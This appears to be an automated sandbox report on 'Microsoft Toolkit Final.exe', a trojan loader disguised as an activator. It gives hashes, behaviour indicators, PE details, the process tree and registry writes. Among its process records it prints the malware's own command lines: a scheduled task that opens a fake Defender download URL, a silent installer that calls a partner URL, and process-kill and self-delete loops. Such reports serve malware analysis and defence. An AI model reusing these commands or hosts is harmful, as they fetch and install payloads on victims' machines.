File name:

Microsoft Toolkit Final.exe

Full analysis: https://app.any.run/tasks/cd841854-9aac-4824-8f7f-a8b629ddc364
Verdict: Malicious activity
Threats:

Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security.

Malware Trends Tracker     >>>
Analysis date: April 08, 2018, 20:24:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
installcapital
loader
miner
adware
loadmoney
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

B4EA2872569C64252E92C76A044F613F

SHA1:

03F1E67509AFCEB034A6DBDF9F5AF8C9924049A8

SHA256:

7053CCEAAC097566B7CF4CBCE97AE4B374E836ACB6EB7248086D99FDC115B9D6

SSDEEP:

49152:hQ43WNHFOll/EfttS7IYbSiNBouV8FqmRJUR5oI3UNQJhHKTfJVInuM5QkSs5MbX:hQ4IOrC6EYepuWeLIVVkf+Z2JQfwA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application loaded dropped or rewritten executable

      • Microsoft Toolkit Final.exe (PID: 4016)
      • 1.exe (PID: 3352)
      • svchost.exe (PID: 3336)
      • ic-0.935cbe2ddfc41.exe (PID: 1428)
      • ic-0.587cf68c3ea528.exe (PID: 3144)
      • poverify.exe (PID: 3444)
      • explorer.exe (PID: 1632)
      • Setup activation.exe (PID: 1368)
      • conhost.exe (PID: 3636)
      • conhost.exe (PID: 2416)
      • ic-0.771a9c1f5b25cc.exe (PID: 3996)
      • ic-0.771a9c1f5b25cc.exe (PID: 2948)
      • ic-0.b52574bd94d4c.exe (PID: 3528)
      • E151.tmp.exe (PID: 2712)
      • regsvr32.exe (PID: 2272)
      • conhost.exe (PID: 3132)
      • taskhost.exe (PID: 1476)
      • conhost.exe (PID: 1960)
      • taskeng.exe (PID: 1624)
      • dwm.exe (PID: 1572)
      • SWYQLXPL07EM50L.exe (PID: 3372)
      • BGP.exe (PID: 2348)
      • MailRuUpdater.exe (PID: 2056)
      • winhost.exe (PID: 2696)
      • SWYQLXPL07EM50L.exe (PID: 1092)
      • DllHost.exe (PID: 3172)
      • DllHost.exe (PID: 3784)
      • 3ENXH.exe (PID: 3268)
      • up.exe (PID: 2160)
      • rundll32.exe (PID: 1300)
      • 6C7B.tmp.exe (PID: 608)
      • 1901.exe (PID: 3932)
      • rundll32.exe (PID: 4012)
      • 820.tmp.exe (PID: 2368)
      • mysetup.exe (PID: 2360)
      • iexplore.exe (PID: 1456)
      • iexplore.exe (PID: 2352)
      • winhost.exe (PID: 2408)
      • compfile.exe (PID: 1524)
      • svchost.exe (PID: 856)
      • zb5lur1qtzc.exe (PID: 2736)
      • conhost.exe (PID: 604)
      • conhost.exe (PID: 4080)
      • qwer.exe (PID: 3300)
      • z1juj231its.exe (PID: 2656)
      • n0lbdddx1ie.exe (PID: 2176)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1060)
      • schtasks.exe (PID: 3804)
      • na_runner.exe (PID: 3756)
      • svchost.exe (PID: 856)
      • taskhost.exe (PID: 2796)
      • 820.tmp.exe (PID: 2368)
      • E09.tmp.exe (PID: 3272)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3472)
      • 2.exe (PID: 4092)

    • Application was dropped or rewritten from another process

      • Setup activation.exe (PID: 1368)
      • YTLoader.exe (PID: 1520)
      • opera_update----15494.exe (PID: 2328)
      • 1.exe (PID: 3352)
      • 2.exe (PID: 3048)
      • 2.exe (PID: 4092)
      • ic-0.8edb06b26617b.exe (PID: 3796)
      • opera_update----15494.exe (PID: 2692)
      • ic-0.935cbe2ddfc41.exe (PID: 1428)
      • 1.exe (PID: 1516)
      • winhost.exe (PID: 2136)
      • ic-0.587cf68c3ea528.exe (PID: 3144)
      • winhost.exe (PID: 636)
      • poverify.exe (PID: 3444)
      • ic-0.771a9c1f5b25cc.exe (PID: 3996)
      • ic-0.771a9c1f5b25cc.exe (PID: 2948)
      • ic-0.b52574bd94d4c.exe (PID: 3528)
      • E151.tmp.exe (PID: 2712)
      • na_runner.exe (PID: 3756)
      • MailRuUpdater.exe (PID: 2056)
      • SWYQLXPL07EM50L.exe (PID: 3372)
      • MailRuUpdater.exe (PID: 2300)
      • BGP.exe (PID: 2348)
      • SWYQLXPL07EM50L.exe (PID: 1092)
      • winhost.exe (PID: 2696)
      • 6C7B.tmp.exe (PID: 3064)
      • 1b81-e438-e084-eac6 (PID: 2776)
      • 6C7B.tmp.exe (PID: 608)
      • mrupdsrv.exe (PID: 4068)
      • winhost.exe (PID: 352)
      • 1901.exe (PID: 3932)
      • 820.tmp.exe (PID: 2368)
      • E09.tmp.exe (PID: 3272)
      • svchost.exe (PID: 1964)
      • mysetup.exe (PID: 2360)
      • girafe.exe (PID: 2968)
      • linker.exe (PID: 3156)
      • compfile.exe (PID: 1524)
      • zb5lur1qtzc.exe (PID: 2736)
      • qwer.exe (PID: 3300)
      • winhost.exe (PID: 2408)
      • setup.exe (PID: 3916)
      • z1juj231its.exe (PID: 2656)
      • dr3i3r3iyv1.exe (PID: 3288)
      • n0lbdddx1ie.exe (PID: 2176)
      • winhost.exe (PID: 3616)
      • 4C1D.tmp.exe (PID: 2700)
      • social2search.exe (PID: 3008)
      • up.exe (PID: 2160)
      • 3ENXH.exe (PID: 3268)
      • FastDataX.exe (PID: 3036)
      • hhueiqpii.exe (PID: 4064)
      • winhost.exe (PID: 4076)
      • svchost.exe.update.exe (PID: 1068)
      • gwti0fwj4pl.exe (PID: 908)
      • 9BC6.tmp.exe (PID: 2440)
      • mrkeeper.exe (PID: 2620)

    • Changes settings of System certificates

      • 2.exe (PID: 4092)
      • E151.tmp.exe (PID: 2712)
      • 1901.exe (PID: 3932)
      • svchost.exe (PID: 1964)

    • Actions looks like stealing of personal data

      • 1.exe (PID: 1516)

    • Changes Windows auto-update feature

      • E151.tmp.exe (PID: 2712)
      • svchost.exe (PID: 856)
      • MailRuUpdater.exe (PID: 2056)

    • Changes the autorun value in the registry

      • na_runner.exe (PID: 3756)
      • SWYQLXPL07EM50L.exe (PID: 1092)
      • BGP.tmp (PID: 2660)
      • 3ENXH.exe (PID: 3268)
      • 1901.exe (PID: 3932)

    • Runs injected code in another process

      • svchost.exe (PID: 1964)

    • Application was injected by another process

      • svchost.exe (PID: 4000)

    • Runs app for hidden code execution

      • 4C1D.tmp.exe (PID: 2700)

  • SUSPICIOUS

    • Reads the Windows organization settings

      • Microsoft Toolkit Final.exe (PID: 4016)
      • ic-0.771a9c1f5b25cc.tmp (PID: 2200)
      • ic-0.771a9c1f5b25cc.tmp (PID: 1912)

    • Creates files in the program directory

      • Microsoft Toolkit Final.exe (PID: 4016)
      • ic-0.8edb06b26617b.exe (PID: 3796)
      • 2.exe (PID: 4092)
      • E151.tmp.exe (PID: 2712)
      • svchost.exe (PID: 856)
      • na_runner.exe (PID: 3756)
      • 1b81-e438-e084-eac6 (PID: 2776)
      • 3ENXH.exe (PID: 3268)
      • z1juj231its.exe (PID: 2656)

    • Starts CMD.EXE for commands execution

      • Microsoft Toolkit Final.exe (PID: 4016)
      • opera_update----15494.exe (PID: 2328)
      • 1.exe (PID: 1516)
      • setup.exe (PID: 2256)
      • SWYQLXPL07EM50L.exe (PID: 1092)
      • 820.tmp.exe (PID: 2368)
      • 4C1D.tmp.exe (PID: 2700)

    • Creates files in the user directory

      • Setup activation.exe (PID: 1368)
      • 2.exe (PID: 4092)
      • ic-0.771a9c1f5b25cc.tmp (PID: 2200)
      • ic-0.771a9c1f5b25cc.tmp (PID: 1912)
      • E151.tmp.exe (PID: 2712)
      • MailRuUpdater.exe (PID: 2056)
      • setup.exe (PID: 2256)
      • rundll32.exe (PID: 1300)
      • 820.tmp.exe (PID: 2368)

    • Reads internet explorer settings

      • Setup activation.exe (PID: 1368)

    • Creates files in the Windows directory

      • svchost.exe (PID: 856)
      • svchost.exe (PID: 3336)
      • SWYQLXPL07EM50L.exe (PID: 3372)
      • MailRuUpdater.exe (PID: 2300)
      • setup.exe (PID: 2256)
      • mrupdsrv.exe (PID: 4068)
      • E09.tmp.exe (PID: 3272)
      • svchost.exe (PID: 1964)

    • Application launched itself

      • 2.exe (PID: 3048)
      • 1.exe (PID: 3352)
      • winhost.exe (PID: 2136)
      • SWYQLXPL07EM50L.exe (PID: 3372)
      • winhost.exe (PID: 2696)
      • winhost.exe (PID: 2408)

    • Creates a software uninstall entry

      • ic-0.8edb06b26617b.exe (PID: 3796)
      • na_runner.exe (PID: 3756)

    • Reads productID from registry

      • YTLoader.exe (PID: 1520)

    • Adds / modifies Windows certificates

      • 2.exe (PID: 4092)
      • E151.tmp.exe (PID: 2712)
      • 1901.exe (PID: 3932)
      • svchost.exe (PID: 1964)

    • Starts itself from another location

      • opera_update----15494.exe (PID: 2328)
      • na_runner.exe (PID: 3756)
      • 6C7B.tmp.exe (PID: 3064)
      • opera_update----15494.exe (PID: 2692)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 304)
      • cmd.exe (PID: 3472)

    • Creates or modifies windows services

      • ic-0.935cbe2ddfc41.exe (PID: 1428)
      • svchost.exe (PID: 856)

    • Removes files from Windows directory

      • svchost.exe (PID: 3336)
      • MailRuUpdater.exe (PID: 2300)
      • setup.exe (PID: 2256)
      • E09.tmp.exe (PID: 3272)
      • svchost.exe (PID: 1964)

    • Reads Windows owner settings

      • ic-0.771a9c1f5b25cc.tmp (PID: 2200)
      • ic-0.771a9c1f5b25cc.tmp (PID: 1912)

    • Searches for installed software

      • ic-0.771a9c1f5b25cc.tmp (PID: 1912)

    • Creates COM task schedule object

      • regsvr32.exe (PID: 2272)
      • E09.tmp.exe (PID: 3272)

    • Starts application with an unusual extension

      • MailRuUpdater.exe (PID: 2300)

    • Reads Internet Cache Settings

      • rundll32.exe (PID: 4012)
      • rundll32.exe (PID: 1300)

    • Creates executable files which already exist in Windows

      • E09.tmp.exe (PID: 3272)
      • svchost.exe (PID: 1964)

    • Starts Internet Explorer

      • Setup activation.exe (PID: 1368)

    • Low-level read access rights to disk partition

      • qwer.exe (PID: 3300)

  • INFO

    • Loads rich edit control libraries

      • Microsoft Toolkit Final.exe (PID: 4016)
      • ic-0.587cf68c3ea528.exe (PID: 3144)

    • Dropped object may contain URL's

      • Microsoft Toolkit Final.exe (PID: 4016)
      • svchost.exe (PID: 856)
      • ic-0.8edb06b26617b.exe (PID: 3796)
      • Setup activation.exe (PID: 1368)
      • 2.exe (PID: 4092)
      • YTLoader.exe (PID: 1520)
      • ic-0.935cbe2ddfc41.exe (PID: 1428)
      • ic-0.587cf68c3ea528.exe (PID: 3144)
      • poverify.exe (PID: 3444)
      • ic-0.b52574bd94d4c.tmp (PID: 2604)
      • E151.tmp.exe (PID: 2712)
      • setup.exe (PID: 2256)
      • regsvr32.exe (PID: 2272)
      • BGP.exe (PID: 2348)
      • opera_update----15494.exe (PID: 2692)
      • 6C7B.tmp.exe (PID: 3064)
      • BGP.tmp (PID: 2660)
      • setup.exe (PID: 3504)
      • 6C7B.tmp.exe (PID: 608)
      • setup.tmp (PID: 2196)
      • E09.tmp.exe (PID: 3272)
      • 1901.exe (PID: 3932)
      • mysetup.exe (PID: 2360)
      • compfile.exe (PID: 1524)
      • svchost.exe (PID: 1964)
      • compfile.tmp (PID: 2940)
      • up.exe (PID: 2160)
      • mysetup.tmp (PID: 2708)

    • Loads the .NET runtime environment

      • YTLoader.exe (PID: 1520)
      • Lacoste.exe (PID: 1392)
      • setup.exe (PID: 2256)
      • SWYQLXPL07EM50L.exe (PID: 3372)
      • SWYQLXPL07EM50L.exe (PID: 1092)
      • up.exe (PID: 2160)
      • 3ENXH.exe (PID: 3268)
      • 1901.exe (PID: 3932)
      • linker.exe (PID: 3156)
      • girafe.exe (PID: 2968)
      • z1juj231its.exe (PID: 2656)
      • n0lbdddx1ie.exe (PID: 2176)

    • Reads settings of System Certificates

      • YTLoader.exe (PID: 1520)
      • MailRuUpdater.exe (PID: 2300)
      • mrupdsrv.exe (PID: 4068)

    • Application loaded dropped or rewritten executable

      • ic-0.771a9c1f5b25cc.tmp (PID: 2200)
      • ic-0.771a9c1f5b25cc.tmp (PID: 1912)
      • FastDataX.exe (PID: 2844)
      • ic-0.b52574bd94d4c.tmp (PID: 2604)
      • Lacoste.exe (PID: 1392)
      • setup.exe (PID: 2256)
      • BGP.tmp (PID: 2660)
      • setup.exe (PID: 3504)
      • setup.tmp (PID: 2196)
      • mysetup.tmp (PID: 2708)
      • compfile.tmp (PID: 2940)

    • Application was dropped or rewritten from another process

      • ic-0.771a9c1f5b25cc.tmp (PID: 2200)
      • ic-0.771a9c1f5b25cc.tmp (PID: 1912)
      • FastDataX.exe (PID: 2844)
      • ic-0.b52574bd94d4c.tmp (PID: 2604)
      • Lacoste.exe (PID: 1392)
      • setup.exe (PID: 2256)
      • BGP.tmp (PID: 2660)
      • setup.exe (PID: 3504)
      • setup.tmp (PID: 2196)
      • mysetup.tmp (PID: 2708)
      • compfile.tmp (PID: 2940)
      • randomExe.exe (PID: 2060)
      • zb5lur1qtzc.tmp (PID: 2508)

    • Creates files in the program directory

      • setup.exe (PID: 2256)
      • BGP.tmp (PID: 2660)
      • setup.tmp (PID: 2196)

    • Dropped object may contain Bitcoin addresses

      • E151.tmp.exe (PID: 2712)

    • Creates a software uninstall entry

      • setup.exe (PID: 2256)
      • BGP.tmp (PID: 2660)

    • Application launched itself

      • iexplore.exe (PID: 1456)

    • Changes internet zones settings

      • iexplore.exe (PID: 1456)

    • Application was crashed

      • girafe.exe (PID: 2968)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.dll | Win32 Dynamic Link Library (generic) (43.5)
.exe | Win32 Executable (generic) (29.8)
.exe | Generic Win/DOS Executable (13.2)
.exe | DOS Executable Generic (13.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2011:01:31 18:44:13+01:00
PEType: PE32
LinkerVersion: 6
CodeSize: 4096
InitializedDataSize: 122880
UninitializedDataSize: -
EntryPoint: 0x1d20
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 31-Jan-2011 17:44:13
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000D8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 31-Jan-2011 17:44:13
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00000EAC
0x00001000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
5.942
.rdata
0x00002000
0x00000488
0x00001000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
1.73299
.data
0x00003000
0x00000560
0x00001000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
1.01054
.gentee
0x00004000
0x0000FDCB
0x00010000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.98797
.rsrc
0x00014000
0x0000B484
0x0000C000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.91172

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.06777
1916
Latin 1 / Western European
English - United States
RT_MANIFEST
2
4.11903
9640
Latin 1 / Western European
English - United States
RT_ICON
3
4.41728
4264
Latin 1 / Western European
English - United States
RT_ICON
4
4.84054
1128
Latin 1 / Western European
English - United States
RT_ICON
1000
2.23119
54
Latin 1 / Western European
English - United States
RT_DIALOG
IDD_DLGPROG
2.78207
600
Latin 1 / Western European
English - United States
RT_DIALOG
SETUP_TEMP
7.9641
10970
Latin 1 / Western European
UNKNOWN
RT_RCDATA
SETUP_ICON
2.62308
62
Latin 1 / Western European
UNKNOWN
RT_GROUP_ICON

Imports

KERNEL32.dll
MSVCRT.dll
USER32.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
153
Monitored processes
110
Malicious processes
32
Suspicious processes
27

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start inject drop and start drop and start drop and start drop and start drop and start drop and start microsoft toolkit final.exe cmd.exe no specs schtasks.exe no specs setup activation.exe ic-0.8edb06b26617b.exe ytloader.exe no specs 1.exe 2.exe no specs opera_update----15494.exe 2.exe schtasks.exe no specs opera_update----15494.exe cmd.exe no specs taskkill.exe no specs ping.exe no specs 1.exe ic-0.935cbe2ddfc41.exe winhost.exe no specs svchost.exe no specs winhost.exe no specs ic-0.587cf68c3ea528.exe poverify.exe cmd.exe no specs explorer.exe no specs conhost.exe no specs conhost.exe no specs ic-0.771a9c1f5b25cc.exe ic-0.771a9c1f5b25cc.tmp ic-0.771a9c1f5b25cc.exe ic-0.771a9c1f5b25cc.tmp fastdatax.exe no specs ic-0.b52574bd94d4c.exe ic-0.b52574bd94d4c.tmp lacoste.exe no specs e151.tmp.exe setup.exe na_runner.exe regsvr32.exe cmd.exe no specs mailruupdater.exe no specs conhost.exe no specs swyqlxpl07em50l.exe no specs cmd.exe no specs mailruupdater.exe taskhost.exe no specs taskhost.exe no specs conhost.exe no specs taskeng.exe no specs dwm.exe no specs bgp.exe bgp.tmp swyqlxpl07em50l.exe winhost.exe no specs 6c7b.tmp.exe Thumbnail Cache Out of Proc Server no specs 1b81-e438-e084-eac6 6c7b.tmp.exe no specs mrupdsrv.exe no specs winhost.exe no specs Thumbnail Cache Out of Proc Server no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs conhost.exe no specs up.exe 3enxh.exe setup.exe rundll32.exe no specs setup.tmp 1901.exe rundll32.exe no specs 820.tmp.exe e09.tmp.exe svchost.exe iexplore.exe no specs mysetup.exe girafe.exe linker.exe mysetup.tmp iexplore.exe no specs 6c7b.tmp.exe compfile.exe taskkill.exe no specs winhost.exe no specs zb5lur1qtzc.exe qwer.exe setup.exe no specs svchost.exe compfile.tmp z1juj231its.exe no specs 4c1d.tmp.exe no specs dr3i3r3iyv1.exe no specs svchost.exe no specs n0lbdddx1ie.exe no specs randomexe.exe no specs winhost.exe no specs hhueiqpii.exe no specs fastdatax.exe no specs social2search.exe no specs zb5lur1qtzc.tmp no specs cmd.exe no specs taskkill.exe no specs winhost.exe no specs svchost.exe.update.exe no specs 9bc6.tmp.exe no specs gwti0fwj4pl.exe no specs cmd.exe no specs mrkeeper.exe no specs chrome.exe no specs microsoft toolkit final.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
304"C:\Windows\system32\cmd.exe" /c taskkill /f /pid 2328 & for /l %x in (1,1,60) do ( ping 127.0.0.1 -n 2 -w 500 & del /q /f "C:\Program Files\ytSetupEU\ytSetupEU\opera_update----15494.exe" & if not exist "C:\Program Files\ytSetupEU\ytSetupEU\opera_update----15494.exe" ( exit ) )C:\Windows\system32\cmd.exe—opera_update----15494.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
352C:\ProgramData\winhost.exe C:\ProgramData\winhost.exe—winhost.exe
User:
admin
Company:
http://mion.faireal.net/BES/
Integrity Level:
MEDIUM
Description:
Per-Process CPU Limiter
Exit code:
1
Version:
20.07.0006
Modules
Images
c:\programdata\winhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
604\??\C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe—csrss.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\conhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imm32.dll
608C:\Users\admin\AppData\Local\Temp\loader_ldir_3064_22407\6C7B.tmp.exe --silent --rfr=855716 --ua_rfr=CHANNEL_855715 --make-default=1 --partner_new_url=http://lrmekpvikvsbnqp.showerisland.ru/software_install?guid=$__GUID&sig=$__SIG&hash=edaee83a8078a5e93795e81753df240d36ab74307e6fc41d8376d5796aca1a50&hsig=$__HWSIG&ovr=$__OVR&did=&sid=15494&go=1&label=855716 --cpC:\Users\admin\AppData\Local\Temp\loader_ldir_3064_22407\6C7B.tmp.exe—6C7B.tmp.exe
User:
admin
Company:
Mail.Ru
Integrity Level:
HIGH
Description:
Lite Browser
Exit code:
0
Version:
2.0.0.363
Modules
Images
c:\users\admin\appdata\local\temp\loader_ldir_3064_22407\6c7b.tmp.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
636C:\ProgramData\winhost.exe C:\ProgramData\winhost.exe—winhost.exe
User:
admin
Company:
http://mion.faireal.net/BES/
Integrity Level:
MEDIUM
Description:
Per-Process CPU Limiter
Exit code:
0
Version:
20.07.0006
Modules
Images
c:\programdata\winhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
856C:\Windows\system32\svchost.exe -k netsvcsC:\Windows\System32\svchost.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
880"C:\Windows\system32\cmd.exe" /c taskkill /f /pid 2368 & for /l %x in (1,1,60) do ( ping 127.0.0.1 -n 2 -w 500 & del /q /f "C:\Users\admin\AppData\Local\Temp\820.tmp.exe" & if not exist "C:\Users\admin\AppData\Local\Temp\820.tmp.exe" ( exit ) )C:\Windows\system32\cmd.exe—820.tmp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
908"C:\Users\admin\AppData\Local\Temp\l3oqcc2l02e\gwti0fwj4pl.exe" /S /CID 112 eyJhaWQiOiIxNjQ3IiwiZG9udF91c2VfcG9zdCI6InRydWUifQ==1647C:\Users\admin\AppData\Local\Temp\l3oqcc2l02e\gwti0fwj4pl.exe—1901.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
996taskkill /f /IM chrome.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
1060schtasks /create /tn "PPI Update" /tr "C:\Windows\explorer.exe ""http://windowsdefender.club/warning/download.php?mn=5623""" /sc DAILYC:\Windows\system32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
7 197
Read events
5 279
Write events
1 748
Delete events
170

Modification events

(PID) Process:(4016) Microsoft Toolkit Final.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\tmp
Operation:delete keyName:
Value:
(PID) Process:(856) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1E13DDB-1F85-4BBA-A71B-346DAF3D78A1}
Operation:writeName:Path
Value:
\PPI Update
(PID) Process:(856) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1E13DDB-1F85-4BBA-A71B-346DAF3D78A1}
Operation:writeName:Hash
Value:
3918DD9E6381290F841B85C96E6316F8A63DD23E20A4CF4493C241D43DE6AB7A
(PID) Process:(856) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PPI Update
Operation:writeName:Id
Value:
{D1E13DDB-1F85-4BBA-A71B-346DAF3D78A1}
(PID) Process:(856) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PPI Update
Operation:writeName:Index
Value:
3
(PID) Process:(856) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1E13DDB-1F85-4BBA-A71B-346DAF3D78A1}
Operation:writeName:Triggers
Value:
150000000000000001933501E89335010058F4E87FCFD30100933501E8933501FFFFFFFFFFFFFFFF3821410048484848D3EDA289484848480048484848484848004848484848484801000000484848481C000000484848480105000000000005150000007C3E9B4DF44C73593E88FD13E8030000484848481200000048484848500043005C00610064006D0069006E000000484848484848380000004848484858020000100E000080F40300FFFFFFFF07000000000000000000000000000000000000000000000000000000681D35010000000000000000DDDD00000000000001933501E89335010058F4E87FCFD30100000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF01000000010000000000000000011301010000000000000027000000
(PID) Process:(856) svchost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D1E13DDB-1F85-4BBA-A71B-346DAF3D78A1}
Operation:writeName:DynamicInfo
Value:
030000008A4DEC9C77CFD30100000000000000000000000000000000
(PID) Process:(1368) Setup activation.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
